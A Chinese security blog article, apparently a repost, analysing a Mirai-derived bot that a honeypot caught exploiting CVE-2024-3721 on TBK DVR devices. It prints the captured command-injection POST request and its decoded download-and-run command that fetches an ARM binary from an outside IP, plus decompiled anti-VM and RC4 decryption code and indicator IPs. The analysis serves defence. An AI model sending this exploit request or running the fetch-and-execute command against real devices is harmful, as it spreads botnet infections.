蜜罐捕获一个自动化漏洞攻击的机器人程序
原文链接: https://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247493555&idx=1&sn=4df91360f16f4d814717187b7abce6f8
蜜罐捕获一个自动化漏洞攻击的机器人程序
二进制空间安全 2025-07-09 08:25
将二进制空间安全设为”星标⭐️”
第一时间收到文章更新
背景
在脆弱的系统中安装部署机器人程序是利用安全漏洞自动化扩大攻击范围的一种常用方式, 许多自动化机器人持续在互联网上搜索运行流行服务的服务器和设备中的已知漏洞。这些机器人常携带远程代码执行(RCE)漏洞利用工具,针对 HTTP 服务,从而允许攻击者在 GET 或 POST 请求中嵌入 Linux 命令。
最近某个蜜罐服务捕获到一种利用 CVE-2024-3721 部署机器人程序的行为。攻击对象是基于 DVR 的监控系统。DVR 设备用于记录摄像头数据,由众多制造商广泛使用,并支持远程管理。
漏洞利用
在对Linux 蜜罐系统的日志进行审查时, 有一条与 CVE-2024-3721 相关的异常请求行。该漏洞允许攻击者在未经过授权的情况下,通过特定的 POST 请求,在 TBK DVR 设备上执行系统命令,作为攻击的入口点:
"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 200 1671 "-" "Mozila/5.0"
该 POST 请求中包含一个恶意命令,它是单行 shell 脚本,用于在被攻击机器上下载并执行一个 ARM32 架构的二进制文件。
解码还原后的命令行如下:
cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk
典型的机器人感染过程通常包括 shell 脚本初步侦查目标机器的架构,并选择对应的二进制文件。但在本次攻击中,由于目标仅为支持 ARM32 的设备,因此无需进行侦查阶段。
技术分析
经过初步分析, 该DVR机器人程序来自Mirai源码的修改, Mirai僵尸网络源码在十年前就有公开, 源码参考地址:
https://github.com/jgamblin/Mirai-Source-Code
。
该机器人程序在源码基础上引入了一些其它特性, 例如: 使用RC4进行字符串加密、虚拟机检测技术(Anti-VM)、反模拟器技术(Anti-emulation)。这里主要剖析一下该机器人程序引入的一些新特性。
该机器人程序在数据解密过程中实现了一个简单的RC4算法, RC4密钥通过XOR加密, 解密后, 得到解密密钥明文:
6e7976666525a97639777d2d7f303177
。每解密一条数据,就会插入到一个自定义的
DataDecrypted
结构向量中,这是一个简单的字符串列表, 以下是实现的关键代码:
int __fastcall DecryptNewtData(int index, char *enc_data, int string_length)
{
int i;
List *Strlist;
int DecryptedString;
int DecryptedData;
char RC4_Key[48]; // [5pt8h] [bp-30h] BYREF
i = index;
Strlist = DecryptedStringList;
DecryptedString = malloc(string_length + 1);
Strlist[i].size = string_length;
Strlist[i].addr = (char *)DecryptedString;
// 解密 RC4 key
DecryptKey(RC4_Key);
DecryptedData = malloc(string_length);
// 解密字符串并添加到列表
RC4_Decrypt(RC4_Key, 16, (int)enc_data, DecryptedData, string_length);
memcpy((int)Strlist[i].addr, DecryptedData, string_length);
Strlist[i].addr[string_length] = 0;
return free(DecryptedData);
}
恶意软件在需要特定字符串时,会访问全局的解密数据链表, 以下是添加解密后的字符串到全局列表:
反虚拟机和反模拟器
为检测自己是否运行在虚拟机(VM)或 QEMU 环境中,恶意软件会遍历所有进程,查找是否存在 VMware 或 QEMU-arm 的相关进程。列出运行中进程的方法是打开 Linux 的
/proc
文件系统目录。
每个进程 ID(PID)都有自己的文件夹,里面包含诸如
cmdline
的信息,可用来查看进程的启动命令。通过这些信息,恶意软件判断是否有进程与 VMware 或 QEMU-arm 有关。其关键代码如下:
proc_dir = (struct dirent *)opendir((char *)DecryptedStringList[10].addr); // 打开"/proc"目录
if (!proc_dir)
exit(0);
while (1) {
v4 = readdir(proc_dir);
if (!v4) {
closedir(proc_dir);
return;
}
if ((*((_WORD *)off_2914C + *(unsigned __int8 *)(v4 + 11)) & 8) != 0) {
sprintf((int)cmdline_path, 256, "/proc/%s/cmdline", (const char *)(v4 + 11)); // 获取完整的命令行
cmdline_file = fopen(cmdline_path, "r");
if (cmdline_file) {
if (fgets(line, 256, cmdline_file) && strequal(line, (char *)DecryptedStringList[102].addr)) { // 校验是否是"qemu-arm"
sub_130D4((unsigned __int6 *)cmdline_file, v2, v3);
closedir(proc_dir);
goto Exit;
}
sub_130D4((unsigned __int6 *)cmdline_file, v2, v3);
}
}
}
该恶意程序还会检查自己的运行目录是否在预设的允许列表中:
在这些检查成功通过后, 机器人才会继续执行, 为接收指令做准备。
结论
攻击者利用未打补丁的物联网设备和服务器中的已知安全漏洞,加上针对基于 Linux 系统的恶意软件的大量使用,导致不断有大量机器人在互联网中搜索可供感染的设备。
这些机器人程序的主要目的,是实施使网站和服务瘫痪的 DDoS 攻击。大多数机器人在设备重启后不会继续存活,因为某些设备固件不允许文件系统发生更改。为了防范这类感染,我们建议在安全补丁发布后及时更新易受攻击的设备。如果设备已经暴露并确实存在漏洞,也可以考虑恢复出厂设置。
威胁指标
文件指纹:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
IP地址:
116.203.104.203
130.61.64.122
161.97.219.84
130.61.69.123
185.84.81.194
54.36.111.116
192.3.165.37
162.243.19.47
63.231.92.27
80.152.203.134
42.112.26.36